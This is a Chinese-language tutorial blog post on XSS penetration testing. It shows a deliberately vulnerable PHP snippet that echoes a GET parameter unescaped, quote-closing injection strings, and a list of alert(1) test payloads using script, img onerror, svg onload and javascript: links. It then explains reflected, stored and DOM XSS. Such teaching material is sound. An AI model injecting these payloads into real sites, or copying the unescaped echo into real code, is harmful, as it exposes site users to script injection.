02-XSS渗透测试步骤

三、XSS渗透测试步骤

xss攻击,一定牢记"输入输出",输入指的是攻击者对服务器网页输入恶意代码

输出指的是浏览器接受到代码后能解析出并输出到前端。

xss原理就是开发者没有对输入内容进行过滤,导致通过攻击者进行构造的前端代码,

输入后和原有的前端代码产生混淆,形成新的页面语句,并且新的页面语句能够被浏览器解析并输出。

xss渗透测试步骤:

1)找到输入点,输入任意字符串,查看输出位置

2)打开网页源代码,在源代码中查看输出的位置(有可能输入和输出不在同一个页面)

3)查看输出位置的内容与输入内容之间的关系,构建闭合和拼接脚本

4)利用<script>或onclic或alert(1)进行测试,确认是否存在xss注入点

5)开始利用注入点完成各类复杂的操作,实现攻击目的

优化PHP代码为以下代码,并在一个文本框中进行输出:

复制代码
if(isset($_Get['content'])){
    $content = $_Get['content'];
    echo "<input type='text' value='$content' id='username'/>;"
}

我们的目的是进行xss攻击,执行JS代码的条件是要有script标签或事件属性

复制代码
<script>alert(1)</script> 这是一定能在页面上执行弹窗警告框的
如果我们直接输入上述的代码将直接会变成这样==》
<input type='text' value='<script>alert(1)</script>'> 这并不符合HTML的语法
<input type='text' value=''><script>alert(1)</script>"> 变成这样的话,就是input和script两个标签都能执行
因此我们输入就变成
"><script>alert(1)</script><!--    就是凭借和闭合后然后就将后续的代码进行注释就可以了
那此时浏览器在解析的时候,就会解析出两个元素,一个是input,一个是script,从而执行我们在script中的代码,完成XSS攻击
也可以完成对value="的闭合,实现文本框的单击事件,Payload为:
hello" onclick="alert(1)
也可以构造一个全新的标签进行触发: 
Palyoad 1:"><img src="1" onerror="alert(1)">
Palyoad 2: "><img src="./image/dateme.gif" onclick="alert(1)"><!--
Palyoad 2: "><img src="./image/dateme.gif" onclick="alert(1)"><input type="hidden

xss常用的测试语句:

复制代码
<script> alert(1)</script>
<img src=1 oneror=alert(1)>
<svg onload=alert(1)>
<a href=javascript:alert(1)>
<input onfocus=write(1) autofocus>

四、xss的类型

1、反射型xss

我们构造好一个url的payload,发送给受害者,受害者点击恶意链接后再受害者的浏览器上执行恶意代码。

反射型xss是一次性的,而且比较容易被发现,通常恶意链接会被修改成短链接,或钓鱼图片的形式。

2、存储型XSS

存储型又叫永久性xss,常见于留言板,因为存储型xss的页面会将用户输入的内容存入到数据库内,

所以其他人每访问一次的时候,服务器都会从数据库将攻击者输入的内容调取到前端浏览器解析,

因此每一次访问就相当于一次xss攻击

3、DOM型XSS

DOM会将HTML文件的节点构建成树状结构,(一个标签就是一个节点)

不与服务器交互,本质上也是一种反射型xss。主要利用js使用domn对前端HTML进行操作时候产生的漏洞。DOM型xss难点就在于通过阅读JavaScript来确定输出的位置,才好构建输入的payload.

DOM型xss可通过开发者工具观察js变化。

相关推荐
海星船长丶22 分钟前
Phar漏洞,PHP_filter,文件包含漏洞,include结合phar
网络安全·php·信息与通信
heze0933 分钟前
sqli-labs-Less-15自动化注入方法
mysql·网络安全·自动化
芥子沫1 小时前
iStoreOS_24.10.4 兼容性列表及镜像下载地址&更新日志
网络安全·软路由·istoreos
枫叶丹41 小时前
【Qt开发】Qt系统(七)-> Qt网络安全
c语言·开发语言·c++·qt·网络安全
Ancelin安心12 小时前
kali-dirsearch的使用
linux·运维·服务器·python·计算机网络·web安全·网络安全
HarmonLTS18 小时前
Python Socket网络通信详解
服务器·python·网络安全
大方子20 小时前
商城修改金额支付漏洞
网络安全·好靶场
qq_白羊座20 小时前
CRLF注入攻击详解
网络安全
heze091 天前
sqli-labs-Less-12自动化注入方法
mysql·网络安全·自动化
heze091 天前
sqli-labs-Less-13自动化注入方法
mysql·网络安全·自动化